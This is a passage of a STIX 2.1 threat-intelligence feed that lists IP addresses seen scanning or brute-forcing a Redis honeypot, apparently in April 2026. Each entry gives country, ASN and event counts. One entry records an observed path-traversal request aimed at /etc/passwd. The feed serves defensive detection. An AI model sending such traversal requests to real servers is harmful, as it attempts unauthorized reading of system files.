      "pattern": "[ipv4-addr:value = '193.163.125.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:25:19.000Z",
      "valid_until": "2026-05-03T04:25:18.000Z"
    },
    {
      "created": "2026-04-01T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=FR; asn=43350; asn_org=NForce Entertainment B.V.; redis_cmd_hits=0",
      "id": "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.107.80.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:25:10.000Z",
      "valid_until": "2026-05-03T05:25:08.000Z"
    },
    {
      "created": "2026-04-01T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--62927db6-1af5-48f4-ac83-97feade90ed8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T05:25:10.000Z",
      "valid_until": "2026-05-03T05:25:08.000Z"
    },
    {
      "created": "2026-04-01T06:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--3aaca74b-f4b1-4562-b435-3b76f468d04b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.245.242.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:25:02.000Z",
      "valid_until": "2026-05-03T06:25:01.000Z"
    },
    {
      "created": "2026-04-01T06:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--e1f89d18-6544-4b81-9d41-62d4da42845a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.89.50.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:25:02.000Z",
      "valid_until": "2026-05-03T06:25:01.000Z"
    },
    {
      "created": "2026-04-01T06:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--6a00c25f-11c7-48f9-bfef-9862879271f9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T06:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:25:02.000Z",
      "valid_until": "2026-05-03T06:25:01.000Z"
    },
    {
      "created": "2026-04-01T06:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--729fd260-e2b7-49d4-a336-c8c4feb99473",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T06:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '167.99.237.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:25:02.000Z",
      "valid_until": "2026-05-03T06:25:01.000Z"
    },
    {
      "created": "2026-04-01T06:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--9fbdb126-5fd5-4ccf-8776-6b8976979f3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T06:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '218.59.175.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:25:02.000Z",
      "valid_until": "2026-05-03T06:25:01.000Z"
    },
    {
      "created": "2026-04-01T07:25:08.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--e7e26056-6230-4807-8535-a6b17f64c441",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:25:08.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:25:08.000Z",
      "valid_until": "2026-05-03T07:25:03.000Z"
    },
    {
      "created": "2026-04-01T09:25:37.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--9a5b5266-42f2-42df-aa87-5bd5697a2b59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T09:25:37.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.116.232.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T09:25:37.000Z",
      "valid_until": "2026-05-03T09:25:09.000Z"
    },
    {
      "created": "2026-04-01T10:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=UA; asn=47674; asn_org=Net Solutions - Consultoria Em Tecnologias De Informacao, Sociedade Unipessoal LDA; redis_cmd_hits=0",
      "id": "indicator--011efcfd-8567-4e19-986b-ef403f4857bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.61.137.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:25:05.000Z",
      "valid_until": "2026-05-03T10:25:04.000Z"
    },
    {
      "created": "2026-04-01T10:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=23470; asn_org=ReliableSite.Net LLC; redis_cmd_hits=0",
      "id": "indicator--bbc671fa-5865-4efe-aafa-6c8c56682afe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '206.221.176.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:25:05.000Z",
      "valid_until": "2026-05-03T10:25:04.000Z"
    },
    {
      "created": "2026-04-01T10:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--60691cf4-fb87-4509-94dc-9d3fa7f8d8d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '4.156.218.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:25:05.000Z",
      "valid_until": "2026-05-03T10:25:04.000Z"
    },
    {
      "created": "2026-04-01T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--ede08bf6-4651-4414-9cbc-1111e268bbc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.23.193.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:25:10.000Z",
      "valid_until": "2026-05-03T12:25:09.000Z"
    },
    {
      "created": "2026-04-01T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=NL; asn=202425; asn_org=IP Volume inc; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.82.70.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:25:10.000Z",
      "valid_until": "2026-05-03T12:25:09.000Z"
    },
    {
      "created": "2026-04-01T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=NL; asn=202425; asn_org=IP Volume inc; redis_cmd_hits=0",
      "id": "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:25:10.000Z",
      "valid_until": "2026-05-03T12:25:09.000Z"
    },
    {
      "created": "2026-04-01T13:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--d24c39a4-52c4-4960-9fb0-de575ffc38ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T13:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '220.250.52.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T13:25:29.000Z",
      "valid_until": "2026-05-03T13:25:04.000Z"
    },
    {
      "created": "2026-04-01T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--f61f47e1-2640-427b-a01c-7a2a4dfb8e52",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.48.100.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:25:11.000Z",
      "valid_until": "2026-05-03T15:25:08.000Z"
    },
    {
      "created": "2026-04-01T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; redis_cmd_hits=0",
      "id": "indicator--aeb4bd7e-61b7-42fd-93eb-2dfa8cbdd503",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:25:11.000Z",
      "valid_until": "2026-05-03T15:25:08.000Z"
    },
    {
      "created": "2026-04-01T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d4e60d2f-a64e-41f4-a214-c78ee8284717",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:25:11.000Z",
      "valid_until": "2026-05-03T15:25:08.000Z"
    },
    {
      "created": "2026-04-01T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--f773ea25-8299-4b9c-9a86-33ec7be4874c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.92.97.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T15:25:11.000Z",
      "valid_until": "2026-05-03T15:25:08.000Z"
    },
    {
      "created": "2026-04-01T16:25:25.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=23724; asn_org=IDC, China Telecommunications Corporation; redis_cmd_hits=0",
      "id": "indicator--bcf3d726-5eae-4327-b6ff-607cd1ddc93a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T16:25:25.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '49.7.204.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:25:25.000Z",
      "valid_until": "2026-05-03T16:25:09.000Z"
    },
    {
      "created": "2026-04-01T16:25:25.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=HK; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--f40fcd60-e4ae-4d2d-8ba9-d385d3fb2f39",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T16:25:25.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.210.123.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T16:25:25.000Z",
      "valid_until": "2026-05-03T16:25:09.000Z"
    },
    {
      "created": "2026-04-01T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=44; ports=6379; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--837a7d39-53d1-45c7-86c3-41f0557a0d8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.39.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T18:25:10.000Z",
      "valid_until": "2026-05-03T18:25:09.000Z"
    },
    {
      "created": "2026-04-01T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=ID; asn=153119; asn_org=PT Intan Pariwara; redis_cmd_hits=0",
      "id": "indicator--bd5a6661-b4e7-4172-9d35-1c74b4244c98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.187.107.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:25:10.000Z",
      "valid_until": "2026-05-03T19:25:09.000Z"
    },
    {
      "created": "2026-04-01T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=NL; asn=206264; asn_org=Amarutu Technology Ltd; cats=Generic Protocol Command Decode; redis_cmds=GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--5ed391d6-686a-49ec-b900-de578c232106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.81.169.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:25:10.000Z",
      "valid_until": "2026-05-03T19:25:09.000Z"
    },
    {
      "created": "2026-04-01T20:25:59.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CA; asn=31898; asn_org=Oracle Corporation; redis_cmd_hits=0",
      "id": "indicator--4fb2ff2c-681a-44c9-af70-3c461fac67b0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T20:25:59.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '140.238.153.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:25:59.000Z",
      "valid_until": "2026-05-03T20:25:09.000Z"
    },
    {
      "created": "2026-04-01T20:25:59.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=AE; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--ec3848fb-75c9-45cd-9026-d02348362b61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T20:25:59.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.233.204.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:25:59.000Z",
      "valid_until": "2026-05-03T20:25:09.000Z"
    },
    {
      "created": "2026-04-01T20:25:59.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--fb4f92f3-0c2f-45b5-8235-3a81fff0631b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T20:25:59.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.230.221.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:25:59.000Z",
      "valid_until": "2026-05-03T20:25:09.000Z"
    },
    {
      "created": "2026-04-01T20:25:59.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--7ded0026-9eaf-4453-9508-6c18be924859",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T20:25:59.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '61.153.23.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:25:59.000Z",
      "valid_until": "2026-05-03T20:25:09.000Z"
    },
    {
      "created": "2026-04-01T21:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--84d05e4b-fcce-4969-a37f-cd740a3c78cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '114.113.235.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:25:11.000Z",
      "valid_until": "2026-05-03T21:25:09.000Z"
    },
    {
      "created": "2026-04-01T21:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=ZA; asn=136907; asn_org=HUAWEI CLOUDS; redis_cmd_hits=0",
      "id": "indicator--e4189362-0c70-4990-9723-146fec0256a6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T21:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '122.8.135.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:25:11.000Z",
      "valid_until": "2026-05-03T21:25:09.000Z"
    },
    {
      "created": "2026-04-01T21:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--b57a0a3d-aa7d-4ea3-9874-4e370cb7c48a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T21:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '40.80.204.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:25:11.000Z",
      "valid_until": "2026-05-03T21:25:09.000Z"
    },
    {
      "created": "2026-04-01T23:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--d311087e-d802-46f5-8499-e782e43f6110",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-01T23:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.48.35.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:25:11.000Z",
      "valid_until": "2026-05-03T23:25:09.000Z"
    },
    {
      "created": "2026-04-01T23:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=IN; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--3fe1e23e-98b5-4379-be5b-d1688d41aa86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T23:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.235.199.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:25:11.000Z",
      "valid_until": "2026-05-03T23:25:09.000Z"
    },
    {
      "created": "2026-04-02T00:25:40.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=141679; asn_org=China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch; redis_cmd_hits=0",
      "id": "indicator--c03ac74d-6b04-4b18-b64d-0b092b410437",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T00:25:40.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.72.186.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:25:40.000Z",
      "valid_until": "2026-05-04T00:25:09.000Z"
    },
    {
      "created": "2026-04-02T00:25:40.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T00:25:40.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T00:25:40.000Z",
      "valid_until": "2026-05-04T00:25:09.000Z"
    },
    {
      "created": "2026-04-02T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--bf2949a5-4c72-4f46-b3c3-76b4b7ad66a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.241.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T01:25:11.000Z",
      "valid_until": "2026-05-04T01:25:09.000Z"
    },
    {
      "created": "2026-04-02T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e87370b5-a40c-4dda-b7a3-79eb8c13519a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:25:10.000Z",
      "valid_until": "2026-05-04T02:25:09.000Z"
    },
    {
      "created": "2026-04-02T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--2ea6f6d1-c9ac-4928-8c3d-6facbaee8b15",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.16.215.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
